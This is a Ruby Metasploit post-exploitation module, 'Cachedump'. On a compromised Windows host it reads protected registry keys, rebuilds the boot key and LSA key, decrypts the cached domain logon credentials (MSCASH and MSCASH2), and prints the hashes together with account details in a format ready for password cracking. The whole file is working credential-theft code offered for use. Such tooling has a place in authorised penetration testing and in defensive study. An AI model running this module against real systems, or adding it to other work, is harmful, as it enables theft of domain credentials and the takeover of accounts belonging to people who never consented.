## # $Id: $ ## ## # # Cachedump post exploitation module. # # This modules will dump MS domain cache informations stored in the registry. # The code will NOT inject into lsass, it requires SYSTEM privileges to get # into regitry protected keys. Microsoft with Vista changed the code for # cache entry encryption, see the new routines below. # # Passscape's engineer affirm that the SHA iterations on Vista based systems # are stored into the cache entry, I didn't find it. The default is 10240. # http://www.passcape.com/index.php?section=docsys&cmd=details&id=8 # # Tested on Windows XP/2003/Vista/7/2008 # # This code was based on hashdump.rb and Credump # # A big thanks to mao (Cain & Abel developer) for the useful information about # Windows Vista/2008/7 # # thes3nf[at]googlemail.com has relased some days ago a John the Ripper # patch for MSCASH2 format... Thanks! The code has been included into the # "Jumbo Patch" # # It's my second program in ruby, so be patient if the code is not clean or # optimized. # # Agazzini Maurizio - inode at mediaservice.net # # "C programmers never die. They are just cast into void." # # Updated code can be found at: http://lab.mediaservice.net/code/cachedump.rb # # Version 0.2: # + Fix domain name parsing len # ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post include Msf::Post::Registry def initialize(info={}) super( update_info( info, 'Name' => 'Cachedump', 'Description' => %q{ Get Windows domain credentials cache entry.}, 'License' => MSF_LICENSE, 'Author' => [ 'Maurizio Agazzini '], 'Version' => '$Revision: $', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter', ], 'References' => [ [ 'URL', 'http://lab.mediaservice.net/code/cachedump.rb' ] ], 'DisclosureDate'=> "Feb 14, 2011" )) register_options( [ OptBool.new('INFO', [true, 'Account informations.', true]), OptBool.new('VERBOSE', [false, 'Debugging output.', false]), ], self.class) @des_odd_parity = [ 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ] end # Run Method for when the run command is issued def run print_status("Executing module against #{sysinfo['Computer']}") print_status("Obtaining the boot key...") bootkey = capture_boot_key if( datastore['VERBOSE'] ) print_status("boot key: #{bootkey.unpack("H*")}") end print_status("Trying 'XP' style...") begin print_status("Getting PolSecretEncryptionKey...") ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) pol = ok.query_value("").data ok.close print_status("XP compatible client") vista = 0 rescue print_status("Trying 'Vista' style...") print_status("Getting PolEKList...") ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\\Policy\\PolEKList", KEY_READ) pol = ok.query_value("").data ok.close print_status("Vista compatible client") vista = 1 end if( vista == 1 ) lsa_key = DecryptLSA(pol, bootkey) lsa_key = lsa_key[68...100] else md5x = Digest::MD5.new() md5x << bootkey (1..1000).each do md5x << pol[60..76] end rc4 = OpenSSL::Cipher::Cipher.new("rc4") rc4.key = md5x.digest lsa_key = rc4.update(pol[12..60]) lsa_key << rc4.final lsa_key = lsa_key[0x10..0x1F] end print_status("Lsa Key: #{lsa_key.unpack("H*")}") print_status("Getting LK$KM...") ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ) nlkm = ok.query_value("").data ok.close if( datastore['VERBOSE'] ) print_status("Encrypted NL$KM: #{nlkm.unpack("H*")}") end if( vista == 1 ) nlkm_dec = DecryptLSA( nlkm[0..-1], lsa_key) else nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsa_key) end if( datastore['VERBOSE'] ) print_status("Decrypted NL$KM: #{nlkm_dec.unpack("H*")}") end print_status("Dumping cached credentials...") ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ) john = "" ok.enum_value.each do |usr| if( "NL$Control" == usr.name) then next end if( datastore['VERBOSE'] ) print_status("Getting: #{usr.name}") end begin nl = ok.query_value("#{usr.name}").data rescue next end cache = parse_cache_entry(nl) if ( cache.userNameLength > 0 ) if( datastore['VERBOSE'] ) print_status("Reg entry: #{nl.unpack("H*")}") print_status("Encrypted data: #{cache.enc_data.unpack("H*")}") print_status("Ch: #{cache.ch.unpack("H*")}") end if( vista == 1 ) dec_data = decrypt_hash_vista(cache.enc_data, nlkm_dec, cache.ch) else dec_data = decrypt_hash(cache.enc_data, nlkm_dec, cache.ch) end if( datastore['VERBOSE'] ) print_status("Decrypted data: #{dec_data.unpack("H*")}") end john += parse_decrypted_cache(dec_data, cache) end end print_status("John the Ripper format:") print "#{john}" if( vista == 1 ) print_status("Hash are in MSCACHE_VISTA format. (mscash2)") else print_status("Hash are in MSCACHE format. (mscash)") end rescue ::Interrupt raise $! rescue ::Rex::Post::Meterpreter::RequestError => e print_error("Meterpreter Exception: #{e.class} #{e}") print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") end def capture_boot_key bootkey = "" basekey = "System\\CurrentControlSet\\Control\\Lsa" %W{JD Skew1 GBG Data}.each do |k| ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) return nil if not ok bootkey << [ok.query_class.to_i(16)].pack("V") ok.close end keybytes = bootkey.unpack("C*") descrambled = "" # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] 0.upto(keybytes.length-1) do |x| descrambled << [ keybytes[ descrambler[x] ] ].pack("C") end descrambled end def convert_des_56_to_64(kstr) key = [] str = kstr.unpack("C*") key[0] = str[0] >> 1 key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) key[7] = str[6] & 0x7F 0.upto(7) do |i| key[i] = ( key[i] << 1) key[i] = @des_odd_parity[key[i]] end key.pack("C*") end def decrypt_secret(secret, key) # Ruby implementation of SystemFunction005 # the original python code has been taken from Credump j = 0 decrypted_data = '' for i in (0...secret.length).step(8) enc_block = secret[i..i+7] block_key = key[j..j+6] des_key = convert_des_56_to_64(block_key) d1 = OpenSSL::Cipher::Cipher.new('des-ecb') d1.padding = 0 d1.key = des_key d1o = d1.update(enc_block) d1o << d1.final decrypted_data += d1o j += 7 if (key[j..j+7].length < 7 ) j = key[j..j+7].length end end dec_data_len = Integer(decrypted_data[0]) decrypted_data[8..8+dec_data_len] end def parse_cache_entry(cache_data) j = Struct.new(:userNameLength, :domainNameLength, :effectiveNameLength, :fullNameLength , :logonScriptLength, :profilePathLength, :homeDirectoryLength, :homeDirectoryDriveLength, :userId, :primaryGroupId, :groupCount, :logonDomainNameLength, :logonDomainIdLength, :lastAccess, :last_access_time, :revision, :sidCount, :valid, :sifLenght, :logonPackage, :dnsDomainNameLength, :upnLength, :ch, :enc_data ) s = j.new() s.userNameLength = cache_data[0..2].unpack("S")[0] s.domainNameLength = cache_data[2..4].unpack("S")[0] s.effectiveNameLength = cache_data[4..6].unpack("S")[0] s.fullNameLength = cache_data[6..8].unpack("S")[0] s.logonScriptLength = cache_data[8..10].unpack("S")[0] s.profilePathLength = cache_data[10..12].unpack("S")[0] s.homeDirectoryLength = cache_data[12..14].unpack("S")[0] s.homeDirectoryDriveLength = cache_data[14..16].unpack("S")[0] s.userId = cache_data[16..20].unpack("L")[0] s.primaryGroupId = cache_data[20..24].unpack("L")[0] s.groupCount = cache_data[24..28].unpack("L")[0] s.logonDomainNameLength = cache_data[28..30].unpack("S")[0] s.logonDomainIdLength = cache_data[30..32].unpack("S")[0] s.lastAccess = cache_data[32..40].unpack("Q")[0] s.revision = cache_data[40..44].unpack("L")[0] s.sidCount = cache_data[44..48].unpack("L")[0] s.valid = cache_data[48..52].unpack("L")[0] s.sifLenght = cache_data[52..56].unpack("L")[0] s.logonPackage = cache_data[56..60].unpack("L")[0] s.dnsDomainNameLength = cache_data[60..62].unpack("S")[0] s.upnLength = cache_data[62..64].unpack("S")[0] s.ch = cache_data[64...80] s.enc_data = cache_data[96..-1] return s end def decrypt_hash(edata, nlkm, ch) rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch) rc4 = OpenSSL::Cipher::Cipher.new("rc4") rc4.key = rc4key dec = rc4.update(edata) dec << rc4.final return dec end def decrypt_hash_vista(edata, nlkm, ch) aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc') aes.key = nlkm[16...-1] aes.padding = 0 aes.decrypt aes.iv = ch jj = "" for i in (0...edata.length).step(16) xx = aes.update(edata[i...i+16]) jj += xx end return jj end def parse_decrypted_cache(dec_data, s) i = 0 hash = dec_data[i...i+0x10] i+=72 username = dec_data[i...i+(s.userNameLength)] i+=s.userNameLength i+=2 * ( ( s.userNameLength / 2 ) % 2 ) puts "Username : #{username}" if( datastore['INFO'] ) domain = dec_data[i...i+s.domainNameLength] i+=s.domainNameLength i+=2 * ( ( s.domainNameLength / 2 ) % 2 ) puts "Hash : #{hash.unpack("H*")}" if( datastore['INFO'] ) last = Time.at((Integer(s.lastAccess) - 116444736000000000) / 10000000) puts "Last login : #{last.strftime("%F %T")} " if( datastore['INFO'] ) if( s.dnsDomainNameLength != 0) dnsDomainName = dec_data[i...i+s.dnsDomainNameLength] i+=s.dnsDomainNameLength i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 ) puts "DNS Domain Name : #{dnsDomainName}" if( datastore['INFO'] ) end if( s.upnLength != 0) upn = dec_data[i...i+s.upnLength] i+=s.upnLength i+=2 * ( ( s.upnLength / 2 ) % 2 ) puts "UPN : #{upn}" if( datastore['INFO'] ) end if( s.effectiveNameLength != 0 ) effectiveName = dec_data[i...i+s.effectiveNameLength] i+=s.effectiveNameLength i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 ) puts "Effective Name : #{effectiveName}" if( datastore['INFO'] ) end if( s.fullNameLength != 0 ) fullName = dec_data[i...i+s.fullNameLength] i+=s.fullNameLength i+=2 * ( ( s.fullNameLength / 2 ) % 2 ) puts "Full Name : #{fullName}" if( datastore['INFO'] ) end if( s.logonScriptLength != 0 ) logonScript = dec_data[i...i+s.logonScriptLength] i+=s.logonScriptLength i+=2 * ( ( s.logonScriptLength / 2 ) % 2 ) puts "Logon Script : #{logonScript}" if( datastore['INFO'] ) end if( s.profilePathLength != 0 ) profilePath = dec_data[i...i+s.profilePathLength] i+=s.profilePathLength i+=2 * ( ( s.profilePathLength / 2 ) % 2 ) puts "Profile Path : #{profilePath}" if( datastore['INFO'] ) end if( s.homeDirectoryLength != 0 ) homeDirectory = dec_data[i...i+s.homeDirectoryLength] i+=s.homeDirectoryLength i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 ) puts "Home Directory : #{homeDirectory}" if( datastore['INFO'] ) end if( s.homeDirectoryDriveLength != 0 ) homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength] i+=s.homeDirectoryDriveLength i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 ) puts "Home Directory Drive : #{homeDirectoryDrive}" if( datastore['INFO'] ) end puts "User ID : #{s.userId}" if( datastore['INFO'] ) puts "Primary Group ID : #{s.primaryGroupId}" if( datastore['INFO'] ) print "Additional groups : " if( datastore['INFO'] ) while (s.groupCount > 0) do # TODO: parse attributes relativeId = dec_data[i...i+4].unpack("L")[0] i+=4 attributes = dec_data[i...i+4].unpack("L")[0] i+=4 print "#{relativeId} " if( datastore['INFO'] ) s.groupCount-=1 end puts "" if( datastore['INFO'] ) if( s.logonDomainNameLength != 0 ) logonDomainName = dec_data[i...i+s.logonDomainNameLength] i+=s.logonDomainNameLength i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 ) puts "Logon domain name : #{logonDomainName}" if( datastore['INFO'] ) end # TODO: SID enumeration # while (s.sidCount > 0) do #puts "Sid: " s.sidCount-=1 end puts "----------------------------------------------------------------------" if( datastore['INFO'] ) return "#{username.downcase}:#{hash.unpack("H*")}:#{dnsDomainName}:#{logonDomainName}\n" end def DecryptLSA(pol, bootkey) sha256x = Digest::SHA256.new() sha256x << bootkey (1..1000).each do sha256x << pol[28...60] end aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") aes.key = sha256x.digest if( datastore['VERBOSE'] ) print_status("digest #{sha256x.digest.unpack("H*")}") end lsa_key = '' for i in (60...pol.length).step(16) aes.decrypt aes.padding = 0 xx = aes.update(pol[i..i+16]) lsa_key += xx end return lsa_key end end